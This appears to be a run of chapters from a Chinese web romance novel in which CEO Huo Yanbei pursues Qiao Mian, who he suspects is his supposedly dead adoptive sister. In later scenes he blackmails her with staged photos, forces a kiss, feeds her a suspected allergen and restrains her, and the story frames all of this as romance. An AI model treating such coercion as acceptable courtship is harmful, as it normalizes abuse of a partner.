掰开她的小手,看到掌心的血丝时,立时皱眉吩咐司机,“去医院!” “宴北,我没事,只是偶尔会咳血。” 宋蔓柔声说。 霍宴北掐灭烟,从口袋掏出一只手帕,帮把她掌心的血丝擦干净,“你这身体成如今这样,也是因为曾经捐肝救我母亲才留下的病根。” 宋蔓轻轻摇头,“宴北,伯母在世时,把我当亲闺女一样,对我特别好,我只是做了我自己愿意做的事情。” 语落,她抚摸着无名指上那枚戒指,满眼忧伤道,“只可惜,最后伯母还是不在了……” 说着,她靠在他怀里轻声哭了起来,“宴北,我想伯母了,我们抽时间一起去墓地祭拜她,好不好?” 霍宴北抬起一只手,在空中僵了一下,抚了抚她的脑袋,喉咙里挤出一个低哑的字眼,“好……” …… 乔眠回到出租屋时,阮薇还在。 此时,躺在沙发上,睡得呼呼的。 餐桌上还摆着吃剩下的早餐。 想必是起了一个大早,着急慌忙的照顾孩子们吃饭,又把孩子们送去幼稚园累着了。乔眠从卧室拿了一条毛毯,盖在她身上,起身准备去浴室洗澡时,阮薇睁开了眼睛。 “你没睡着啊?” 乔眠轻轻推了她一下。 “就是迷一会儿。” 阮薇打着哈欠,坐起身,一把将乔眠拉到旁边坐下,挑眉问她,“眠眠,老实招来,你是不是谈男朋友了?” 乔眠摇头,“没有。” “还想瞒着我?” 阮薇凑到她身上嗅了嗅,又指了指她脖颈,“身上沾着烟酒味,还有你脖子上的吻痕这么晃眼,当我傻啊。” 乔眠下意识摸了摸脖子,扯唇苦笑,“我没有谈男朋友,倒是差点成了别人的情人。” “什么情况?” 阮薇一脸吃惊的表情。 乔眠就将昨晚发生的所有事情说了出来。 阮薇听后,张口就骂,“霍宴北就是个疯子,他居然让你做情人,就是个混蛋!” 说到这里,又问,“你没答应吧?” “没有。” 乔眠乏累的靠在沙发背上,“就是以后,怕是要被他缠上了……” 第63章 她要离开霍氏,离开霍宴北 “那怎么办啊?” “阮薇,我想辞职了。” 乔眠听到‘霍沉’这个名字,本就慌乱的心,更慌了。 办公室的门把手转动,随着一声‘小叔’的唤声响起,乔眠心下一乱,躲了起来。 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 第64章 把她约到他妻子的眼皮底下 视频会议因这个小插曲不得不终止。 众高层交头接耳的纷纷议论。 “视频里的女人是霍总的太太吧?” “肯定是啊,别看霍总平日里冷冰冰的,对妻子还真是宠溺啊。” “霍太太受宠也是有资本的,我听说啊,霍太太嫁给霍总时,拿宋家的百荣公司作为陪嫁呢。” “啧啧,这才叫真正的门当户对呐!” 听到‘门当户对’四个字,乔眠只觉得心中一针刺痛。 当年,在霍家时,每次陪霍宴北回老宅时,都会被霍老爷子用‘门当户对’四个字,敲打一番。 说的最多的就是那句:“小妩啊,你哥哥将来要娶的是像宋蔓那样门当户对的世家千金……” 当时,她其实对自己和霍宴北的未来不抱任何奢望。 从未妄想成为他的妻。 她想过逃离、分手,可是,却一次次沉沦于他为她编织的一场梦中。 他总说,让她乖一点,待在他身边,陪他一辈子。 她也曾坚定的答应他,愿意陪在他身边一辈子。 可是,没想到,他心里对她是……膈应的。 他不爱她。 只拿她当妹妹…… 其实,六年前那场订婚宴,她是真心祝福他和宋蔓的。 她本打算参加完订婚宴,就离开京市的,只是没想到会被诬陷剪碎了宋蔓的订婚礼服,还被霍宴北不分青红皂白,当众打了一巴掌。 更没想到,会遭遇一场大火…… 恍惚间,回到法务部的工位上。 她把会议上记录的数据要点发给何眉和孟白后,商讨完细节后,开始草拟合同。 …… 医院。 病房里。 温白扬给宋蔓做完进一步的检查后说,“宴北,宋蔓这身体是当年捐肝留下的后遗症给拖垮的,治愈不了,只能静养调理。” 刚说完,宋蔓就瞪了他一眼,“温白扬,咱们是发小,你可别吓唬我啊。” 温白扬啧了一声,“我倒是想吓唬你,就怕你这身体经不住啊。” 宋蔓白他一眼,转而看向霍宴北,“宴北,你别担心,我没事的。” 霍宴北神情复杂,“听医生的,在医院调理几天。” “好吧……” 宋蔓伸手拽了拽他的衣袖,“那你能不能留下来陪我?” 霍宴北点了下头,“好。” 温白扬冲着宋蔓咂嘴:“瞧瞧,霍大总裁都为你把办公室搬进了病房,没准儿,你一高兴病就好了呢。” “就你话多。” “得,我走,不扰你们小两口了。” 温白扬离开病房后,宋蔓看向已经坐回沙发上开始办公的霍宴北,“宴北,让你陪着我,会不会影响你工作?” “不会。” 说到这里,他看了一眼宋蔓手指上缠着的创可贴,提醒了一句,“你只管安心养身体,冲咖啡这种小事我来做就行。” 宋蔓垂眸。 她怎么觉得,他是在提醒她,下次不要在他工作忙时,打扰他…… …… 临近下班,她把拟定的合同交给陈珂。 陈珂看后,给霍宴北打了一通电话。 挂断电话后,将合同又递还给她,“乔律师,霍总说合同里还有几处细节需要修改,让你去找他当面聊。” 乔眠立时警铃大作,“可以让霍总把需要修改的地方告诉我,我在公司加班修改后,再发到他邮箱里,可以吗?” 陈珂公事公办的态度:“乔律师,当面和霍总沟通工作,效率会高很多,再有其他临时需要调整的地方,马上就能解决。” 说到这里,他又着重补充了一点,“这个项目是跟市政合作的,很重要。也是你们荣华律所代理的,本就是你们所要配合完成的本职工作。” 陈珂说得有理有据。 再找理由推辞,不仅显得她没有职业精神,还很矫情。 是她个人原因,不想跟霍宴北碰面。 可是,躲得了这一次,还会有下一次。 罢了。 纯粹是为了工作。 乔眠心里自我安慰后,问道:“霍总现在在哪儿?” “医院附近的咖啡厅。” 乔眠下意识慌了一下。 宋蔓就在医院,他怎么想的,把她约到他妻子的眼皮子底下…… 但转念一想,她又不是小三,不必过度紧张。 “那我收拾一下就过去。” 回到法务部,她拿起包,准备走时,周津南从里间的办公室出来。 她只得停下脚步,打了一声招呼,“周总监,您要下班了吗?” “嗯。” 周津南见她怀里抱着文件,问了一句,“乔律师,你这是工作没做完,要回家加班吗?” “我……” 乔眠想了想,实话实说,“霍总让我去找他沟通工作,有几处地方需要修改。” 周津南眉宇几不可察的蹙了一下,“你准备怎么过去?” “我打车过去。” 周津南思考了两秒,说道,“晚高峰不好打车,我送你过去吧。” “不用了,我……” 拒绝的话未说完,周津南朝她温润笑了一下,“都是同事,互相帮个忙很正常,太客气的话,就见外了。” 周津南这么说,她也不好再拒绝,“那……好吧,谢谢你周总监。” “跟我不必客气。” 两人乘坐电梯,来到负一停车场。 上车之后,她掏出手机给阮薇发求助信息。 把自己要去见霍宴北加班一事说了,辛苦她帮忙接孩子。 阮薇很快回复了一句,【我看霍宴北就是又借着让你加班的由头,对你意图不轨!】 乔眠发了一个无奈的表情包。 【随便他怎么想,我忙完工作就回去。】 【保护好自己,实在不行,姐妹儿带三个娃过去一起挠死他!让他欺负你!】 知道阮薇是在说气话,乔眠还是惊了一下,【你带娃过去,那是要我的命,好不?】 【知道啦,眠眠,你放心工作,孩子们交给我,么么哒。】 乔眠收起手机后,注意到车已经穿梭在街道上的车流中。 周津南控制着方向盘,安静平和的样子,仿佛还是六年前那个温润如玉的少年。 只是眉眼间总是藏着一抹似有似若的忧郁。 许是注意到她的盯视,等红灯时,他扭头看她一眼,“饿吗?要不要先吃点东西?” 第65章 给她买最爱吃的蛋糕 乔眠摇头,“谢谢,我不饿。” 她现在没有心情吃东西,只想赶快忙完工作回家。 自打进入霍氏工作后,她忙得都没空陪孩子们…… “乔律师是沪城人?” 周津南起了一个话头。 乔眠有些心虚,声音很小的嗯了一声。 男人沉吟片刻后,说了一句,“我以前在沪城读过大学,我挺喜欢那座城市的。” “沪城确实挺好的……” “嗯,我曾经和我一个同学约定过,毕业后带她去沪城闯荡的。” 他像是不经意间说了一个关于别人的故事,平静又淡然。 可眼底却已是暗潮涌动。 乔眠的心紧了一下,故作随口一问,“是那个叫秦妩的同学吗?” 周津南看着她,薄唇轻启,“是的,她叫秦妩。” 乔眠鼻尖微微泛酸,“能被别人记住,挺好的……” 绿灯亮起,周津南收回视线,启动车子,沉默良久后,继续这个话题,“我最后失约了,没有带秦妩去沪城,你说,她会不会怪我?” 乔眠转头,看向车窗外。 不断后退的城市夜景,倒映在湿润的眼底,她嗓音沾着一丝湿意的沙哑:“每个人都有自己的不得已和难处,我想秦妩……她不会怪你的。” 周津南望着她泛红的眼尾那抹晶莹的湿润,自嘲的苦涩一笑,“是啊,秦妩那么善良温柔的女孩,从来不会伤害别人,又怎么会怪我?只是,我自己怪自己而已。” 乔眠回眸,眼神平静却又带着一丝伤感的看着他,“你说过的,秦妩已经死了,周总监何必执念于过去?” 聊到这里,她几乎可以确定,周津南已经认出了她。 或许,在她进入霍氏,初次见面时,他已经认出了她。 只是,他一直不点破,她只能假装不知道。 两人一时间陷入沉默。 临近医院时,她给陈珂打了一个电话,问清楚咖啡厅的具体位置。 很快,车在一家高档的咖啡厅门前停驻。 下车之际,周津南忽然扣住她的手腕,“我可以帮你。” 乔眠怔了一下后,淡笑着将手从他掌心抽离,“上次你已经帮我一次了,即便这次再帮我,那下次呢?” 周津南虽然是法务总监,可说到底,还是在霍宴北手底下听命行事的打工人。 他家境殷实,但非富豪之家,能够在霍氏做到这个位置,实属不易,她实在不愿把他拉入泥潭。 如果因为她,害得周津南得罪了霍宴北,她良心上过意不去。 所以,她拒绝了他的好意。 望着乔眠渐行渐远的纤细身影,周津南攥着方向盘的手指一点点泛白。 他告诉自己,不要太心急。 再等一等,等他安排好一切,就能带她离开了。 …… 咖啡厅。 隔着落地窗,坐在二楼卡座的霍宴北,将乔眠从周津南车上下来的一幕尽收眼底。 他将咖啡杯重重落在桌案上,墨眉拧成了一个死结。 他竟不知,她和周津南熟悉到这种程度…… 凝思间,瞥见楼梯口一抹耀眼的身影。 是乔眠。 她穿着一件长款藏青色呢子大衣,内里是一件白色高领毛衣。 搭了一条休闲的阔腿牛仔裤。 长发随意用一支发簪绾在脑后,淡颜系的长相,总是给人一种不争奇斗艳的温婉内敛。 看起来像一只乖软的小白兔。 看到他时,明明生怯、慌乱,却总是故作一副从容镇静的模样。 亦如此刻,她走到他面前,拘谨站姿,手指头都快把文件抠出个洞了。 “霍总……” 她低着头,打招呼。 霍宴北下巴抬了一下,示意她坐下。 乔眠坐下后,服务员端着一款精美的小蛋糕放在她面前。 随后,又端来了一杯咖啡。 乔眠抿了下唇,收回视线,打开文件,直入主题,“霍总,您之前说有几个地方需要调整修改,具体是哪几条,您指出来,我修改。” 说罢,从电脑包里取出笔记本电脑,随时开始做记录。 霍宴北像是没听见她说话似的,伸手,将装着蛋糕的小盘子往她面前推了推,“先吃点东西,再忙工作。” 乔眠抿唇,“谢谢,我不饿。” “跟周津南一起吃过晚饭了?” 他冷不丁抛出一个问题,乔眠怔了一下,转头望了一眼落地窗外。 瞬间明白应该是刚才从周津南车上下来时,被他看到了。 她想了想,解释了一句,“周总监顺路送我过来的,我们在路上没有一起吃饭。” 听到这个答案,男人挑了一下眉,“既然没吃晚饭,现在正好,这是你最爱的蛋糕。” 乔眠看到蛋糕上有芒果粒,心一下子提了起来。 也不知道他是不是故意试探,她对芒果过敏,他偏偏点了芒果蛋糕。 这要是再让他知道她对芒果过敏的话,他就更会怀疑她的身份了。 所以,她只能硬着头皮说,“我不喜欢吃甜食。” 霍宴北端起咖啡抿了一口,“是吗?上次,我明明看到你跟同事在一起吃蛋糕,还吃了很多。” 谎言被拆穿,乔眠咬了一下唇,寻了另一个托辞,“我晚上不吃甜食,会胖。” 男人听后,笑了一下,“你身上很瘦,还需要减肥?” 这句话,瞬间让她想起那天在浴室,两人接吻的一幕。 过程中,她再迷乱,却也记得,他的手,几次到了她衣服内…… 想到这里,她脸颊蓦地一红,把蛋糕推到一边,“霍总,没有哪个女人不在乎胖瘦的。” 霍宴北定定的看着她,“我妹妹阿妩就不在乎,她特别喜欢吃甜食,尤其爱吃蛋糕。” 乔眠冷笑:“霍总,那你有没有想过,你妹妹吃甜食,未必是真的喜欢吃甜食呢?” 她确实不爱吃甜食。 高中时,经历过被长期霸凌后,她开始猛吃甜食,只是为了增加体重,让自己变胖。 但她属于那种不易胖的体质,一但不食高热量的食物就会马上瘦下去。 所以,霍宴北会以为她偏爱吃蛋糕。 其实,她真的很讨厌吃蛋糕。 每次吃蛋糕,总是在提醒自己,曾经受到的霸凌过程。 可是,霍宴北不知道这些,冷着脸问,“什么意思?” 第66章 霍宴北吻着她 比任何人都了解阿妩? 乔眠听笑了。 如果他真的足够了解曾经的霍妩,就不会察觉不到,在他每一次和宋蔓亲密时,她也会伤心难过、掉眼泪。 如果他真的了解霍妩是一个什么样的人,也不会在六年前那场订婚宴上,信了别人的指证,认为是她剪碎了宋蔓的订婚礼服,而当众打了她一巴掌! 如果他真的了解霍妩,当年就不会调查不出来,她根本不是聋哑人。 不,不是他调查不出来,是他根本没想了解她的过去…… “抱歉,霍总,我只是发表一下个人想法而已,你妹妹阿妩喜欢什么,不喜欢什么,与我无关。” 乔眠觉得和他谈论‘曾经的自己的喜好问题’这个话题,实在毫无意义。 毕竟,曾经的自己,已经是一个死人了…… 可是,霍宴北偏揪着‘蛋糕’这个话题不放。 他用小叉子叉了一小块蛋糕,送到她嘴边,“乔眠,你不想吃我给你点的蛋糕,是真的要减肥,还是不敢吃?” 这话说出来,已经明着告诉她,就是在试探她。 吃了,会再次暴露出一个和霍妩的共同点。 不吃,就是欲盖弥彰。 所以,无论她吃与不吃,都是一个死局。 霍宴北就是这样一个人,一旦心底埋下一颗怀疑的种子,绝对不会放松一丝警惕。 乔眠望着眼前蛋糕上的芒果粒,一把推开,“我不想吃,霍总,难道你还要强行喂我……” 话到一半,她震惊的瞪大了眼睛—— 只见霍宴北缓缓起身,走到她身边的空位坐下,把之前送到她嘴边的那一小块蛋糕吃进了嘴里。 紧接着,忽然伸手,一把扣住她的后脑手,将她整个人拖进怀里。 另一只手,捏起她的小脸,低头,寻着她的唇,深深的吻了下去。 不,是简单又粗暴的撬开她的唇齿,把他口中的蛋糕送到了她嘴里。 乔眠反应过来他对她做了什么时,惊慌的抬起一双小手,用力地捶打着他的肩膀。 脑袋挣扭着,试图从他掌心摆脱禁锢,嘴里发出唔唔的声音,不肯吃下他喂进来的蛋糕。 可是,她越是挣扎,他越是吻得用力、狂野。 唇舌纠缠间,甜糯的蛋糕一点点融化进味蕾,漫入喉间。 她被迫咽了进去。 可是,男人并没有立刻停下这个吻,只是,吻得温柔缓慢了一些。 最后,抵着她起了一层薄汗的额头,低喘一声,“阿妩,你变得越来越不乖了。” 乔眠像是被抽空了灵魂的空壳躯体,无力的与他额头相抵,呼吸里还带着一丝虚弱的轻喘。 待凌乱的喘息渐渐平复一些后,她才牟足劲用力推开他,“霍总,我不是阿妩……不是!” 她羞怒的瞪着他。 因过于恼怒,整张小脸变成了绛红色,眼睛更是红的不成样子。 委屈、羞恼的情绪涨到顶点,生疼的眼底闪动着的晶莹泪珠,像断了线的珠子一样,一颗一颗砸了下来。 最后,揉着眼睛,抽泣着哭了起来。 这是她第一次毫不掩饰自己的情绪,当着他的面哭起了鼻子。 “霍总,你……你不是要我吃蛋糕吗?” 此时,乔眠已经没什么理智可言,反正已经被他喂着吃了芒果,索性破罐子破摔。 她抽噎了一声,直接用手抓起剩余的蛋糕,往嘴里送。 一边吃一边掉眼泪,像极了一个受尽委屈,乱发脾气的小孩子。 霍宴北的心就像冷不丁被一只大手紧紧攥了一把,闷闷的难受。 他没想到会把她欺负哭。 眼看着她就要把蛋糕吃完了,他瞬间慌了,猛地攥住她沾着蛋糕的小手,“别再吃了,如果你对芒果蛋糕过敏怎么办?” 乔眠流着眼泪,望着男人冷峻薄情的面孔,苍凉的弯了一下唇,“霍总,上次你故意制造电梯事故试探我有没有黑暗幽闭恐惧症,可又想过,我会不会真的害怕,或是发生意外窒息而死?” “这次,您又逼我吃蛋糕,可又想过,如果我真的对这块蛋糕过敏的话,我会因为过敏而死?” “您为达目的,就一点都不在乎别人的死活吗?” 说到这里,她看了一眼没有因为过敏而起红疹的白皙手臂,觉得可笑又可气。 刚才霍宴北将一大块芒果喂着她吃了进去,不知何原因,她居然没有过敏…… 要知道,她对芒果的过敏程度很严重,但凡沾一点,就会浑身起疹子,还会呼吸困难…… 但是,这会儿,她身体没有一点痒痛,以及呼吸不畅的异常反应。 她就像经历了一次死里逃生的劫难,心神俱惫的指了指自己的脸,还有手臂,嘲讽的说,“霍总,您看清楚了吗?我没有过敏,这下,您能放过我了吗?” 说这些话时,眼泪一直没断过。 霍宴北恍然若失的望着女人没有一点过敏痕迹的小脸,心情沉郁极了。 尤其是,看到她幽怨的瞪着他,落泪的模样时,一把将她搂进了怀里。 乔眠挣扎,厮打,他却抱得更紧。 宽厚的大掌轻柔的抚着她哭得颤抖的肩背,菲薄的唇轻吻着她的鬓发、耳垂,嗓音里带着一丝不易察觉的紧张,“对不起……” 听到‘对不起’ 三个字时,乔眠所有的愤恼和挣扎,在一瞬间静止。 她知道霍宴北是多么孤傲清冷的一个人。 曾经,他被霍老爷子罚跪祠堂,哪怕执行家法,后背打的皮开肉烂时,也未曾听过他说一句软和话。 他刚刚,居然对她说……对不起? 不知为何,这三个字从他嘴里说出来时,她的心却像被什么撕扯了一下似的,隐隐的疼。 她将脸埋在男人宽厚的肩头,隔着衣料,狠狠的咬了一口,闷声闷气的抽噎着低吼一句,“我真的不是你妹妹阿妩……你以后能不能不要再折磨我了?” 霍宴北收紧双臂,脸颊埋在她脖颈深处蹭了蹭,嗓音低沉的厉害,“可是,我希望你是……” “什么……” 乔眠恍惚的摇摇头。 男人轻轻将她从怀里拉出一些距离,温厚宽大的掌心捧起她的小脸,深邃的黑眸凝视着她的眼睛,“乔眠,我说过的,在我面前,你就是我妹妹阿妩。” 第67章 阿妩,唤哥哥 乔眠这才恍然听懂他的意思,嘲讽的扯了扯嘴角:“所以,霍总之前提议,让我和你在一起,就是纯粹要把我当成你妹妹的替身,对吗?” 虽然早知道他是这个心思,可是,她还是要听他亲口说出来。 霍宴北毫不避讳的坦言道,“是,我要你做我的妹妹阿妩。” 乔眠怨恼的推开他的手,“霍总,我还是之前的回答,我不会做您的情人,更不会做别人的替身!” 说罢,她收起笔记本电脑,慌乱的就要走时,霍宴北一把将她扯到怀里。扣住她的腰,直接将她按坐在了他腿上。 这个姿势暧昧极了。 加上之前两人争吵撕扯的动静,已经惹来不少人投来异样的目光。 此时,两人举止亲密,还被人观瞻,乔眠惊慌的推他,“你放开我,有人在看……” 霍宴北侧了下身体,拢紧她的后脑勺,将她的小脸压向胸膛,后背挡住了别人看向她的视线。 男人鼻尖轻蹭了下她的鬓发,“我不怕被看。” “你不怕,我怕……” 乔眠生气的朝他肩膀上打了一下。 她虽然恼,但是,打的一点都不疼,落在男人眼底就像撒娇闹脾气一样。 霍宴北勾了下唇角:“有我在,别怕。” 这句话带着一丝不正经的轻哄。 乔眠脸颊微烫,想从他怀里下来,但是一抬眸,就瞄到有人在拍两人。 她吓得立马往他怀里缩了缩,“我们被拍到了,若是放到网上的话,我……” 她急得快哭出来了。 她再也不想经历一次被人指着鼻子骂情人、小三,被羞辱打骂…… 见她紧张又害怕的厉害,都开始浑身发抖了。 “信我吗?” 男人脸颊蹭了下她汗湿的鬓发,轻声问。 乔眠抬起一双不安的眼睛看着他。 他容色冷峻沉静,高高在上的凛然之气,无形中给人一种强大的安全感。 此时,乔眠只能选择信任他。 因为,她认为,霍宴北肯定比她更不想被人拍到两人举止亲密的视频或是照片。 他是堂堂的霍氏总裁,一旦爆出出轨的花边丑闻,势必也会影响霍氏股市。 所以,她能不能全身而退,在于他。 “我信……” 乔眠终是点了点头。 霍宴北轻笑一声,在她耳边轻喃,“乖,抱紧我。” 乔眠迟疑了一下,闭着眼睛,一双小手抱住他的脖颈,将整张脸埋进他胸膛里。 下一瞬,男人打横将她抱了起来。 身体突然悬空,乔眠吓了一跳,缠着他脖颈的双臂蓦地收紧,刚要挣扎时,头顶传来男人低沉的提醒声,“想明天上头条的话,你可以下来自己走出去。” 乔眠一听,将脸又埋进了他怀里。 霍宴北垂眸,瞅了一眼乖顺听话的女人,勾了下唇角,迈着阔步下楼,走出了咖啡厅。 直到上了一辆黑色劳斯莱斯,乔眠才从他怀里抬起头,“霍总,我们出来了,可是,刚才我们被拍到了……” 霍宴北伸手捏了捏她的小脸,“陈珂会处理好。” “哦……” 乔眠慌乱的心这才安静了一些。 同时,这才注意到自己还在他怀里坐着。 她立马松开他的脖颈,就要从他腿上下来时,却被男人一把摁了回去。 “霍总,既然不谈工作的话,我要回家了……” 她紧张的望了一圈车内,注意到司机不在,整个车厢只有她和他两人时,紧张的脊背瞬间就绷直了。 霍宴北将女人黏在汗湿鬓角的一缕头发捋到耳后,修长的手指摩挲着她的小脸,“乔眠,今天我们被拍这件事,我如果不处理的话,你觉得,你明天会不会成为全网的红人?” “什……什么意思?” 乔眠慌张的舌头打结。 霍宴北玩味的挑了挑眉,“答应做我的妹妹阿妩,关于今天在咖啡厅的一切就不会上新闻。” “你……” 乔眠愣了许久,才忽然反应过来怎么一回事,“咖啡厅拍照的人,是你安排的对不对?” 霍宴北粗粝的指腹碾过她的唇,“乔律师,现在才发现,会不会晚了一点?” “混蛋!” 乔眠气得浑身发抖,抬手朝他脸上打了一巴掌,“你今天做这场局,就是为了威胁我?霍宴北,你真无耻!” 怪不得在咖啡厅时,她跟他说被拍了,他那么淡定。 还大摇大摆的抱着她出来了。原来他就是故意让两人被拍到,好以此威胁她! 他真的比六年前还可怕! 但凡想要的,都会不择手段! 她觉得一巴掌打得太轻了,扬手还要打他时,霍宴北攥住了她的手腕,抱着她一个转身,将她抵在了车窗上。 他用舌尖顶了顶刚才被打疼的左腮,盯着身下毫无招架之力的女人,“我要什么,你很清楚,别逼我让自己更无耻一些。” 乔眠眼睛里含着泪瞪着他,“我名声要不要且不说,霍总,您真的敢把刚才拍的那些照片放到网上吗?就不怕你妻子恨你,也不怕你堂堂霍总被扣上出轨的恶名,从而影响霍氏的名誉?” 说这些话时,霍宴北的手机响了一下。 他打开手机,点开邮箱后,将手机界面展示给她看,“给你十秒钟考虑,十秒后,这份文件会自动发遍所有媒体记者的邮箱。” “你……” 乔眠气得发狂。 他这种同归于尽的做法,偏激的像一个疯子! “十、九、八、七……” 男人淡声念着数字,像催命的符咒,一点点将她拖入地狱。 “六、五、四……” 听到四字时,乔眠彻底慌了:“霍宴北,我不信你真的敢把那些照片曝光……” “三、二……” 就在一字即将念出口时,乔眠认输的闭上眼睛,点了点头,“我答应……” 霍宴北眼底闪过一丝幽微的光亮,缓缓伸手,抚上她的脸颊,温声命令,“阿妩,叫哥哥……” 乔眠别过脸,死死咬着唇瓣,一滴眼泪落下的同时,唤了一声,“哥哥……” 霍宴北低头,深深地吻开了唇。 “阿妩,你终于回来了,哥哥好想你,你想哥哥吗?” “唔……” 乔眠支吾着推他,却被他咬的很痛。 第68章 车内对她失控 他像是要把她裹入腹中般纠缠她的唇舌。 乔眠困于他身下,双手又被束缚,唯一能动的身体刚一挣扭,男人沉厚高括的身体结结实实的覆盖下来,将她纤薄的身体碾压的动弹不得。 连呼吸都被他强势的气息和味道强占待尽。 她窒息的厉害,实在承受不住他掠夺式的吻,只得顺从的闭上眼睛,不再挣扭,希望换得一丝呼吸的机会。 若不然,她感觉自己会溺毙在他疯狂的吻中。 果然,他还是和六年前一样,喜欢乖软温顺的,察觉到身下的女人一副被驯服的很乖顺的模样,不再抗拒跟他接吻时,男人的吻终于平缓下来。 他轻咬着她的唇瓣,急喘的呼吸灼烫的厉害:“阿妩,我想要你……” 说着,松她的手,滚烫的大掌握住了她的腰…… 原本被吻得脑袋发晕,浑身无力的乔眠,听到这句话时,吓得身体瞬间崩成了一条直线。 她好不容易从紧缠的唇齿间争得一丝呼吸新鲜空气的机会,喘息着扣住掌控在她腰上的那只手,惊慌失色的说:“霍总……你说过的,不会强迫我发生实质性关系……” 一句话将男人从欲望的边缘拉了回来。 霍宴北眸底染着浓重的欲色,意乱情迷的望着身下惊慌失色的女人,理智一点点回归。 是了,她不是阿妩…… “抱歉……” 他拢紧她的身体,伏在她汗湿的颈窝平复了数秒后,从她身上起来,沉靠进座椅里,抬手摁了摁有些生疼的太阳穴。 乔眠急忙坐起来,背过身去,整理着被他刚才扯烂的毛衣。 毛衣领口烂了一大块,香肩雪胸隐约可见。 她低着头,红着小脸,将外套的纽扣一颗颗全部扣上。 整理好后,才转过身看向他。 此时,他点了一支烟,手肘搭在车窗上,正安静地抽烟。 乔眠抠紧掌心,问:“霍总,我现在可以回家了吗?” 霍宴北缓缓吐出一口烟圈,烟雾朦胧了他过分冷峻的五官,乔眠看不清他脸上的情绪,只听到他淡声回了一句,“工作还没做。” “……” 乔眠咬唇。 想说时间都是被他耽误的,但是,没胆儿惹他。 “那我们现在回公司吗?” 她问。 霍宴北似是考虑了几秒,回道,“去酒店。” 乔眠一听,下意识往车窗的位置挪了挪:“那个……我们在车上办公也行。” 见她一副避他如猛兽的样子,男人忍俊不禁。 想来刚才吓到她了。 他也没想到自己会失控到那种程度。 大概,她真的太像阿妩了…… 